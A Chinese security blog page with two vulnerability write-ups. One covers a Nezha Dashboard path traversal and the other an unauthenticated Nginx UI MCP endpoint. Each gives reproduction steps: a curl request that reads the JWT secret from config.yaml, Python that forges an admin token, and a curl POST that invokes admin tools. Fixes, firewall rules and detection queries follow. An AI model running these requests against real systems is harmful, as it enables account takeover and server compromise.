CVE on 逍遥笔记

哪吒监控路径穿越漏洞分析：一个 `/dashboard..` 拿下全站 JWT 密钥

Tue, 16 Jun 2026 17:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

一分钟速读：Nezha Dashboard 的路由前缀校验存在逻辑缺陷——对 /dashboard 的前缀判断没有做路径段边界检查，攻击者用 /dashboard../ 即可逃逸出模板根目录，直达 data/config.yaml 拿到 JWT 签名密钥。手里有了密钥，伪造任意用户 Token、接管整个面板的控制权就不在话下了。

漏洞概览

项目	详情
CVE 编号	CVE-2026-53519
CVSS 评分	9.1（Critical）
CVSS 向量	`AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`
影响组件	Nezha Dashboard
影响版本	< v2.0.13
漏洞类型	未授权路径穿越（Unauthenticated Path Traversal）
披露时间	2026-05-31

一句话总结：不需要登录，不需要任何前置条件，一个 GET 请求就能把整个面板的 JWT 密钥读出来。

漏洞原理

问题出在哪

Nezha Dashboard 在处理静态资源时，为了隔离不同模板目录，在路由层做了一个前缀校验——检查请求路径是否以 /dashboard 开头。只允许通过前缀检查的请求进入模板渲染的逻辑。

逻辑本身没问题，但实现上踩了一个经典坑：前缀比对没有做路径段边界检查。

Go 的 strings.HasPrefix 只判断字符前缀，不关心你后面跟的是 /、..、还是别的什么。于是攻击者构造出这样的路径：

/dashboard../data/config.yaml

拆开看：

/dashboard —— 通过了前缀检查，“合法”
../ —— 往上跳一层，跳出模板目录
data/config.yaml —— 命中 Dashboard 的工作目录，拿到配置文件

每一步都不违反代码的字面逻辑，但组合起来就把目录限制彻底穿透了。

用伪代码理解这个缺陷：

// 原始逻辑（有漏洞）
if strings.HasPrefix(r.URL.Path, "/dashboard") {
 // 渲染模板文件...
 tmpl.Execute(w, filepath.Join(tmplRoot, r.URL.Path))
}

// 实际解析：
// r.URL.Path = "/dashboard../data/config.yaml"
// HasPrefix 返回 true ← 漏洞点
// filepath.Join(tmplRoot, "/dashboard../data/config.yaml")
// → tmplRoot + "../data/config.yaml"
// → 逃逸成功

filepath.Join 会对 .. 做规范化处理，于是路径就从模板目录往上跳了一级，进入了 Dashboard 的工作目录——配置文件、数据库、日志，全在射程范围内。

为什么说这个洞"严重"

大部分路径穿越漏洞能读文件，但读出来的是 HTML、JS、CSS 或者没什么用的系统文件。这个洞读的是 config.yaml，里面躺着什么？

jwt_secret_key: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

JWT 签名密钥是整个认证体系的命根子。有了它，攻击者可以：

伪造任意用户 Token——用泄露的密钥签名一个管理员身份的 JWT，面板直接认你为 admin
劫持所有 Agent 通信——Agent 与 Dashboard 之间的 gRPC 通信如果也用这套 JWT 做鉴权，伪造 Token 就能下发任意指令
持久化控制——密钥轮换需要重启服务且所有 Agent 重连，运维窗口期往往长达数天，这给了攻击者充裕的时间

CVSS 9.1 的评分拆解开来看：

AV:N（网络可达）—— HTTP 端口默认暴露
AC:L（复杂度低）—— 一个 GET 请求即可
PR:N（无需认证）—— 匿名访问
UI:N（无需用户交互）—— 纯自动化
C:H / I:H（机密性高 / 完整性高）—— 拿到密钥等于拿到一切

复现步骤

假设靶标环境 Nezha Dashboard 监听在 http://target:8008：

# 第一步：未授权读取配置文件
curl -s http://target:8008/dashboard../data/config.yaml

# 正常响应会返回完整的 YAML 配置，其中包含：
# jwt_secret_key: "xxxxxx..."

拿到密钥后，用 Python 快速伪造一个管理员 JWT：

import jwt
import time

secret = "泄露的密钥"

payload = {
 "user_id": 1, # admin 通常是 uid=1
 "username": "admin",
 "role": "admin",
 "iat": int(time.time()),
 "exp": int(time.time()) + 86400 * 7 # 7 天有效期
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

将伪造的 Token 填入浏览器 Cookie 或 Authorization Header，刷新面板页面——你已经是管理员了。

修复方案

升级

直接升级到 Nezha v2.0.13 或更高版本。官方补丁将前缀检查改为了段感知（segment-aware）的路径校验——不再是简单的字符串前缀匹配，而是确保路径被正确规范化后不会逃逸出模板根目录。

临时缓解

如果暂时无法升级，推荐在反向代理层做路径规范化防护。以 Nginx 为例：

location /dashboard {
 # 规范化 URI，折叠 ../ 等目录回溯符
 set $safe_uri $uri;
 if ($uri ~ \.\./) {
 return 403;
 }
 proxy_pass http://nezha_dashboard;
}

但由于 Go 的 filepath.Join 在服务端也会做规范化，仅靠反向代理层的黑名单拦截存在绕过风险，升级才是正道。

写在最后

这个洞的技术原理并不复杂——就是一个路径段边界检查缺失。但它打到的是整个认证体系的密钥源头，所以危害直接拉满。

做安全攻防的时候，有时候不需要绕过 WAF、不需要 0day 链——一个边界条件的疏忽，就能让整个系统的安全假设全部崩塌。

CVSS 9.1，名副其实。

CVE-2026-33032：Nginx UI MCP 未授权访问漏洞详解 (CVSS 9.8)

Fri, 17 Apr 2026 04:30:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

漏洞等级: 🔴 CRITICAL (CVSS 9.8) 影响版本: Nginx UI ≤ 2.3.5 CVE 编号: CVE-2026-33032 CWE 编号: CWE-306 (关键功能缺少认证) 披露日期: 2026-03-30 最后更新: 2026-04-16

漏洞概述

CVE-2026-33032 是 Nginx UI（Nginx 服务器的 Web 管理界面）中的一个严重未授权访问漏洞。攻击者可以利用该漏洞在无需任何身份认证的情况下，通过 MCP (Model Context Protocol) 集成端点执行任意管理操作，包括：

🔄 重启 Nginx 服务
📝 创建/修改/删除 Nginx 配置文件
⚡ 触发自动配置重载
🎯 完全接管 Nginx 服务

该漏洞的 CVSS 3.1 基础评分为 9.8 (CRITICAL)，攻击向量为网络 (AV:N)，攻击复杂度低 (AC:L)，无需权限 (PR:N)，无需用户交互 (UI:N)，对机密性、完整性、可用性均有高影响 (C:H/I:H/A:H)。

漏洞原理

问题根源

Nginx UI 的 MCP 集成暴露了两个 HTTP 端点：

端点	认证要求	状态
`/mcp`	IP 白名单 + AuthRequired() 中间件	✅ 安全
`/mcp_message`	仅 IP 白名单	❌ 存在漏洞

致命缺陷

/mcp_message 端点的问题在于：

仅应用 IP 白名单检查，没有身份认证
默认 IP 白名单为空 ([])
空白的 IP 白名单被中间件解释为 “允许所有 IP”

这意味着任何能够访问 Nginx UI 的网络攻击者都可以：

任意攻击者 → /mcp_message → 调用所有 MCP 工具 → 完全控制 Nginx

代码层面分析

根据 GitHub 安全公告 (GHSA-h6c2-x2m2-mwhf)，问题出在中间件配置上：

// /mcp 端点 - 正确配置
app.use('/mcp', ipWhitelistMiddleware, AuthRequired(), mcpHandler);

// /mcp_message 端点 - 错误配置
app.use('/mcp_message', ipWhitelistMiddleware, mcpHandler);
// ⚠️ 缺少 AuthRequired() 中间件
// ⚠️ 默认 ipWhitelist = [] 被解释为允许所有

影响范围

受影响版本

软件	受影响版本	修复版本
Nginx UI	≤ 2.3.5	暂无公开补丁

CPE 标识

cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:* versions up to (including) 2.3.5

潜在影响

如果 Nginx UI 暴露在公网或不受信任的网络中，攻击者可以：

服务中断: 重启 Nginx 导致网站下线
配置篡改: 修改 Nginx 配置植入恶意规则
反向代理滥用: 配置反向代理进行流量劫持
SSRF 攻击: 利用 Nginx 的 proxy_pass 功能内网探测
WebShell 部署: 通过配置写入恶意脚本

漏洞复现

环境准备

# 安装受影响的 Nginx UI 版本
docker run -d --name nginx-ui \
 -p 8080:80 \
 -p 9000:9000 \
 0xjacky/nginx-ui:2.3.5

检测步骤

步骤 1: 确认 Nginx UI 可访问

curl -I http://target-ip:9000/
# HTTP/1.1 200 OK 表示服务在线

步骤 2: 测试 /mcp_message 端点

curl -X POST http://target-ip:9000/mcp_message \
 -H "Content-Type: application/json" \
 -d '{"method":"tools/call","params":{"name":"nginx.restart"}}'

步骤 3: 如果返回成功响应，说明存在漏洞

{
 "result": {
 "status": "success",
 "message": "Nginx restarted"
 }
}

攻击利用链

1. 信息收集
 └─→ 扫描 9000 端口 (默认 Nginx UI 端口)

2. 漏洞验证
 └─→ 访问 /mcp_message 端点测试未授权访问

3. 权限提升
 └─→ 调用 MCP 工具读取/修改 Nginx 配置

4. 持久化控制
 └─→ 修改配置植入后门或反向代理规则

5. 横向移动
 └─→ 利用 Nginx 作为跳板探测内网

临时缓解方案

⚠️ 截至 2026-04-17，官方尚未发布修复补丁。建议采取以下临时缓解措施：

方案 1: 网络隔离 (推荐)

将 Nginx UI 限制在内部网络访问：

# 防火墙规则 (UFW 示例)
ufw deny 9000/tcp
ufw allow from 10.0.0.0/8 to any port 9000 proto tcp
ufw allow from 192.168.0.0/16 to any port 9000 proto tcp

方案 2: Nginx 反向代理认证

在 Nginx UI 前部署认证层：

server {
 listen 80;
 server_name nginx-ui.example.com;

 location / {
 auth_basic "Nginx UI Admin";
 auth_basic_user_file /etc/nginx/.htpasswd;

 # 仅允许受信任 IP 访问 MCP 端点
 location /mcp_message {
 allow 10.0.0.0/8;
 allow 192.168.0.0/16;
 deny all;
 }

 proxy_pass http://127.0.0.1:9000;
 }
}

方案 3: 禁用 MCP 功能

如果不需要 MCP 集成，可以在配置中禁用：

# Nginx UI 配置文件
mcp:
 enabled: false

方案 4: 修改 IP 白名单

在 Nginx UI 配置中显式设置 IP 白名单：

mcp:
 ip_whitelist:
 - 127.0.0.1
 - 10.0.0.1 # 仅允许可信 IP

检测与监控

日志审计

检查 Nginx UI 访问日志中的可疑请求：

# 搜索 /mcp_message 端点访问
grep "/mcp_message" /var/log/nginx-ui/access.log

# 检测异常 POST 请求
grep "POST /mcp_message" /var/log/nginx-ui/access.log | \
 awk '{print $1}' | sort | uniq -c | sort -rn

SIEM 规则

# Splunk 检测规则
index=nginx_ui
uri_path="/mcp_message"
http_method=POST
status=200
| stats count by src_ip, user_agent
| where count > 5

网络监控

监控对 Nginx UI 端点的异常访问：

# 使用 tcpdump 捕获可疑流量
tcpdump -i eth0 'port 9000 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
# 过滤 POST 请求

时间线

日期	事件
2026-03-30	GitHub 收到漏洞报告，分配 CVE-2026-33032
2026-03-30	GitHub 发布安全公告 (GHSA-h6c2-x2m2-mwhf)
2026-04-01	NIST NVD 收录该漏洞
2026-04-16	NVD 更新漏洞记录，添加参考链接
2026-04-17	暂无官方补丁发布

参考资源

总结

CVE-2026-33032 是一个典型的认证缺失漏洞，根源在于开发者错误地认为 IP 白名单可以替代身份认证。这个案例提醒我们：

防御深度: 单一安全措施（IP 白名单）不足以保护敏感功能
默认安全: 默认配置应该是安全的（空名单应解释为"拒绝所有"）
及时更新: 使用 Nginx UI 的管理员应密切关注官方补丁发布

🔔 建议: 如果你正在使用 Nginx UI ≤ 2.3.5，请立即实施上述缓解措施，并监控官方仓库获取补丁更新。